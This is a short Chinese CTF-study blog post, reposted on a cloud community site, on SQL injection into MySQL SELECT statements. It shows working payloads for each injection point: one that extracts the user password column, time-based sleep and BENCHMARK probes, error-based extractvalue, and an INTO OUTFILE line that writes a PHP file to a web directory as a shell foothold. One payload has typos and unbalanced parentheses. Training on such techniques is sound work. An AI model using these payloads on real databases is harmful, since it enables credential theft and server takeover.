2021-07-08 CTFer成长之路-SQL注入-SELECT注入

举报
愚公搬代码 发表于 2021/10/20 00:46:33 2021/10/20
【摘要】 一:SELECT注入 1.注入点在select_expr 语句:select ${_GET('id')} ,content FROM wp_news 把密码查出来作为字段展示 http://192.1...

一:SELECT注入

1.注入点在select_expr
语句:select ${_GET('id')} ,content FROM wp_news
把密码查出来作为字段展示

http://192.168.20.133/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title

  
 
  • 1

2.注入点在table_reference
语句:select title from ${_GET('table')}
把密码查出作为表名

select title from (SELECT pwd as title from wp_user)x

  
 
  • 1

3.注入点在WHERE或HAVING后
语句:select title from wp_user where id=${_GET('id')}
这就不介绍了前面的数值型,字符和报错就是WHERE注入,需要的话看前面文章

4.注入点在GROUP BY或ORDER BY后
语句:select title FROM wp_news GROUP BY ${_GET('title')}

那么使用title = id desc,(if(1,sleep(1),1)) 会让页面延迟1秒,那么就可以进行时间注入

5.注入点在LIMIT后
较为简单,通过更改,数字大小,就会显示,更多或者更少的记录
我们也可以根据,select 语法,使用PROCEDURE来注入

select id from wp_news limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);

  
 
  • 1

同样可以基于时间注入

procedure analyse((select extracvalue(1,concat(0x3a,(IF(MID(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1),1)))),1
 
  • 1

BENCHMARKde 语句处理时间为1秒。
BENCHMARK(count,expr) 将表达式expr重复运行count次

在有写入权限的特定情况下,也可以使用into OUTFILE语句向web写入shell,在无法控制文件内容的情况下,可以控制部分内容

select xx into outfile "/tmp/xx.php" LINES TERMINATED BY '<?php phpinfo();?>'

  
 
  • 1

文章来源: codeboy.blog.csdn.net,作者:愚公搬代码,版权归原作者所有,如需转载,请联系作者。

原文链接:codeboy.blog.csdn.net/article/details/118566249

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。